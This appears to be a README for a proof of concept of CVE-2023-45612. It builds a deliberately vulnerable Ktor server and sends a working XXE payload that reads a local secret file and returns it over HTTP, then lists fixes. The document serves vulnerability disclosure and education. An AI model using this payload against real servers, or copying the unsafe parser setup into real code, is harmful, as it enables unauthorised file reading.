
This repository provides a Proof of Concept for CVE-2023-45612, demonstrating an XML External Entity (XXE) injection vulnerability in JetBrains Ktor versions prior to 2.3.5.
This repository contains a vulnerable Ktor server to demonstrate the XML External Entity (XXE) injection vulnerability identified in CVE-2023-45612.
The vulnerability exists in Ktor versions before 2.3.5 when the ContentNegotiation plugin is used with the default xml() serializer. The default XML parser was not configured to prevent the resolution of external entities, allowing attackers to read arbitrary files from the server.
The following sections are the steps to recreate the exploit on your own.
Versions I used for this PoC:
Create a Ktor project in IntelliJ IDEA with the Netty engine, Gradle Kotlin and Ktor version 2.3.4 (or an earlier version).
Inside the build.gradle.kts you will need to introduce the following plugin:
kotlin("plugin.serialization") version "2.2.20"
and these dependencies;
implementation("io.ktor:ktor-server-content-negotiation")
implementation("io.ktor:ktor-serialization-kotlinx-xml")
Application.kt should contain the main function to start the server and the module() function to configure it. By default, the xml() function initializes an XML parser that allows external entity processing.
fun Application.module() {
install(ContentNegotiation) {
xml()
}
configureRouting()
}
Routing.kt should define the endpoint that will receive and parse the malicious XML.
@Serializable
data class Message(
@XmlElement
val message: String
)
fun Application.configureRouting() {
routing {
post("/message") {
try {
val receivedMessage = call.receive<Message>()
call.respondText("Message received: ${receivedMessage.message}")
} catch (e: Exception) {
call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
}
}
}
}
Build the application and start the server.
./gradlew build
./gradlew run
To test the end point, create an XML file named hello_message.xml.
<Message>
<message>Hello, world!</message>
</Message>
You can execute it with the following curl (on Windows):
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'
And you should get the following message if successful:
Message received: Hello, world!
Create a secret_file.txt with some text in it. The information inside is what we want to obtain with our exploit.
Create a file named exploit_message.xml. Its contents should define an external entity &xxe; as the content of the secret_file.txt file and then use that entity within the <message> tags.
<!DOCTYPE Message [
<!ENTITY xxe SYSTEM "secret_file.txt">
]>
<Message>
<message>&xxe;</message>
</Message>
Execute the following curl command (on Windows) to the running server:
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'
The server will read the secret_file.txt file and send its contents back in the HTTP response:
Message received: XXE was a success.
The most effective solution is to update Ktor to version 2.3.5 or later. They use a securely configured default XML parser that disables document type definition processing and external entities by default, which directly prevents this XXE attack. Alternatively, you could also manually configure the XML parser.
As an extra layer of defense, read the raw request body as plain text and reject it if it contains suspicious keywords like <!DOCTYPE or <!ENTITY before it ever reaches the parser.
This vulnerability is specific to XML parsing. If your application's requirements are flexible, the most secure change is to avoid XML entirely and use a format that does not have this class of vulnerability, like JSON.
Actively try to find security flaws by checking your libraries for known vulnerabilities and to test your app for common exploits.